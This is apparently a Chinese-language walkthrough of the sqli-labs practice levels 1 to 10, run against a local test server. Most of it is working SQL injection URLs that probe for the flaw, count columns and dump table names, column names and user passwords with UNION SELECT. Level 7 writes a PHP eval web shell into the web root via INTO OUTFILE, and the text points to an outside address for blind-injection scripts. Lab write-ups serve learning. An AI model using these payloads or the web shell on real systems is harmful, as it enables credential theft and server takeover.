Less-1
http://127.0.0.1:8082/Less-1/?id=1'
产生报错，从错误信息中看出 ' 可以进行注入
http://127.0.0.1:8082/Less-1/?id=1' or 1=1%23
成功访问。使用order by判断表的列数，最终测出来列数为3，超出3会报错
http://127.0.0.1:8082/Less-1/?id=1' order by 4%23
http://127.0.0.1:8082/Less-1/?id=1' order by 3%23
判断回显位
http://127.0.0.1:8082/Less-1/?id=-1' union select 1,2,3%23
回显位为2，3。说明返回了第二列第三列的内容。利用这两个位置进行数据回显
查看当前数据库表名
http://127.0.0.1:8082/Less-1/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%23
查看表中有哪些列
http://127.0.0.1:8082/Less-1/?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'%23
http://127.0.0.1:8082/Less-1/?id=-1' union select 1,2,group_concat(username,password) from users%23
Less-2
http://127.0.0.1:8082/Less-2/?id=1'
从错误信息可以判断为数字型查询
http://127.0.0.1:8082/Less-2/?id=-1 or 1=1%23
剩下步骤与Less-1相同
Less-3
http://127.0.0.1:8082/Less-3/?id='
表明使用了 (' ') 包裹
http://127.0.0.1:8082/Less-3/?id=-1') or 1=1%23
剩余步骤同上
Less-4
http://127.0.0.1:8082/Less-4/?id=1"
判断使用了 (" ") 包裹
http://127.0.0.1:8082/Less-4/?id=-1") or 1=1%23
剩余步骤同上
Less-5
为盲注，使用脚本进行爆破
得到结果：
Less-6
跟less-5类似，根据报错信息需要改变为 ?id=1"
通过脚本进行爆破
Less-7
http://127.0.0.1:8082/Less-7/?id=1')) or 1=1%23
通过回显判断存在注入点
这里可能会出现文件上传不成功的问题，造成这个问题的原因可能有两个
-
没有root权限，如果是本地搭建则不会出现这种问题
-
没有导入导出权限，原因是由参数secure_file_priv决定的，secure-file-priv参数是用来限制LOAD DATA, SELECT … OUTFILE, and LOAD_FILE()传到哪个指定目录的
-
当secure_file_priv的值为null ，表示限制mysqld 不允许导入|导出
-
当secure_file_priv的值为/tmp/ ，表示限制mysqld 的导入|导出只能发生在/tmp/目录下
-
当secure_file_priv的值没有具体值时（null值），表示不对mysqld 的导入|导出做限制
-
我是本地搭建，考虑第二种可能，打开my.ini文件进行参数修改，如果没有则直接添加即可
设置完成后重启数据库即可成功上传
http://127.0.0.1:8082/Less-7/?id=1'))UNION SELECT 1,2,'<?php @eval($_post[“mima” ])?>' into outfile "c:\\wamp\\www\\sqllib\\Less-7\\yijuhua.php"%23上传成功后进行post传送命令即可
Less-8
为布尔盲注，注入点为
http://127.0.0.1:8082/Less-8/?id=1'使用脚本进行爆破即可
Less-9
为时间盲注，补充知识点
IF(expr1,expr2,expr3)
如果 expr1 是TRUE，则 IF()的返回值为expr2; 否则返回值则为 expr3。IF() 的返回值为数字值或字符串值，具体情况视其所在语境而定使用时间盲注脚本进行爆破
Less-10
双引号时间盲注，修改脚本进行爆破即可
脚本请移至：http://47.118.40.97:8082/index.php/jiaoben/ 进行下载
Comments NOTHING